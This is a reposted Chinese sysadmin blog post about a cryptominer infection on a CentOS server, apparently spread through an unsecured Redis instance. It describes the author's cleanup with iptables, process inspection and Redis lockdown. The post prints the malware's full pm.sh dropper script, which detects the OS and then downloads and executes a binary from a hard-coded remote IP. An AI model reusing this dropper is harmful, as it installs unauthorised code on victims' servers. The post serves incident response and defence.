概述
2016-10-27
开发服务器病毒的一次解决
一:发现问题
早上9点左右,短信告警cpu使用达到100%,ssh连接不上,重启服务器,并没有解决cpu满载的情况,但可以用ssh连上了。
二:解决办法
遇到这种突然的cpu飙升,且用top命令看不到(shift+P)占用cpu特别大的进程,初步怀疑服务器中病毒了并且有可能执行着计划任务
查看计划任务
果然,计划任务显示,它在每分钟执行一个远程名为pm.sh脚本,经查,该ip地址为韩国
获取该脚本,内容如下:
===========================================================
PATH=$PATH:/usr/bin:/bin:/sbin:/usr/sbin:/usr/local/bin:/usr/local/sbin
machine=`uname -m`
#echo $machine
cs5="CentOS release 5"
cs6="CentOS release 6"
cs7="CentOS Linux release 7"
ub="Ubuntu"
de="Debian"
downFile(){
cd /var/lib
if [ -x"/usr/bin/wget" -o -x "/bin/wget" ]; then
wget -chttp://101.55.126.66:8990/pm$1 -O /var/lib/pm && chmod +x /var/lib/pm&& /var/lib/pm
elif [ -x"/usr/bin/curl" -o -x "/bin/curl" ]; then
curl -fshttp://101.55.126.66:8990/pm$1 -o /var/lib/pm && chmod +x /var/lib/pm&& /var/lib/pm
fi
}
if [ $machine = "x86_64" ]; then
if [ -f "/etc/issue" ];then
version=`cat /etc/issue`
if [[ $version == $cs5* ]];then
downFile 5
elif [[ $version == $cs6*]]; then
downFile 6
elif [[ $version == $cs7*]]; then
downFile 7
elif [[ $version == $ub* ]];then
downFile ub
elif [[ $version == $de* ]];then
downFile ub
else
if [ -f"/etc/redhat-release" ]; then
release=`cat/etc/redhat-release`
if [[$release == $cs5* ]]; then
downFile 5
elif [[$release == $cs6* ]]; then
downFile 6
elif [[$release == $cs7* ]]; then
downFile 7
fi
fi
fi
fi
fi
=================================================================
由该脚本可以看出,这个计划任务的pm.sh脚本会根据系统版本,生成本地/var/lib/pm文件,并给予该文件以可执行权限。
下面,首先防火墙阻断该ip连接:
iptables -A INPUT -s 101.55.126.66 -j DROP
iptables -A OUTPUT -s 101.55.126.66 -j DROP
由上述可知,用top已经看不到系统真实的cpu使用信息,考虑使用top加强版htop,由于,我们的服务器没有安装htop工具,所以使用了如下命令查看真实的cpu使用信息
ps aux --sort=-%cpu | awk 'NR==1{print $2,$3,$11}NR>1{if($3!=0.0) print$2,$3,$11}'
结果如下:
可以看出两个tplink命令的进程已经使用了系统367%的cpu!,这里我选择删除上述的/var/lib/pm文件和/usr/sbin/tplink文件,并且注意这个tplink进程使用pkill是杀不死的。
三:后续问题
虽然cpu问题就此解决,但是其中还是走了很多弯路了,网上所说的挖矿病毒和本案例有很多相似之处,但并不完全相同。另外在也在怀疑到底这个计划任务或者说病毒是怎么传播的本服务器上面来的使用last,history,及查看系统安全日志,并没有发现蛛丝马迹。按照网络上案例,并且由计划任务的名称,可以大致确定病毒的传播应该是由redis的漏洞传播的(参考:http://blog.jobbole.com/94518/连接中有解决方法。)。并且查看了一下本服务器的redis日志,可以看到redis启动还是有warning的,如下
====================================================================
1499:M 27 Oct 09:27:34.368 #WARNING: The TCP backlog setting of 511 cannot be enforced because/proc/sys/net/core/somaxconn is set t
o the lower value of 128.
1499:M 27 Oct 09:27:34.368 #Server started, Redis version 3.0.7
1499:M 27 Oct 09:27:34.368 # WARNINGovercommit_memory is set to 0! Background save may fail under low memorycondition. To fix this
issue add 'vm.overcommit_memory =1' to /etc/sysctl.conf and then reboot or run the command 'sysctlvm.overcommit_memory=1' for this
to take effect.
1499:M 27 Oct 09:27:34.368 #WARNING you have Transparent Huge Pages (THP) support enabled in your kernel.This will create latency a
nd memory usage issues withRedis. To fix this issue run the command 'echo never >/sys/kernel/mm/transparent_hugepage/enabled' as ro
ot, and add it to your/etc/rc.local in order to retain the setting after a reboot. Redis must berestarted after THP is disabled.
=====================================================================
从日志看出,redis还是有问题的存在的,并且日志信息也给出了解决的办法,按解决办法操作即可。
好景不长啊,今天(2016-10-31),和网上类似的挖矿病毒又来了,这次化身成minerd并且top可看,下载远程脚本,删除可执行文件和计划任务,删除.ssh/下的认证文件,禁止redis远程登录:
useradd -s /sbin/nologin -d /usr/local/redis redis
发现 redis/bin/下面多了一些白色的文件,不知道是什么东西,是不是应该删除?
目前是真不知道下次挖矿病毒什么时候再来。。。
last没有其他登录,***到底是怎么修改计划任务的?
==========================================================================
11-1:原来是删除了可执行文件,并没有删除pid,知道是redis漏洞其实一开始可以
执行如下命令:
lsof -i:6379
ps aux|grep ntp
kill -9 pid
完了之后,也看不到***程序ntp使用6379端口了,问题应该是解决了
===========================================================================
各位网络大神有没有什么可行的方法,或者知道***原理的,欢迎大家留言!
===========================================================================
转载于:https://blog.51cto.com/358778493/1866278
最后
以上就是个性蜡烛为你收集整理的阿里云centos服务器cpu使用率100%和redis漏洞问题的全部内容,希望文章能够帮你解决阿里云centos服务器cpu使用率100%和redis漏洞问题所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复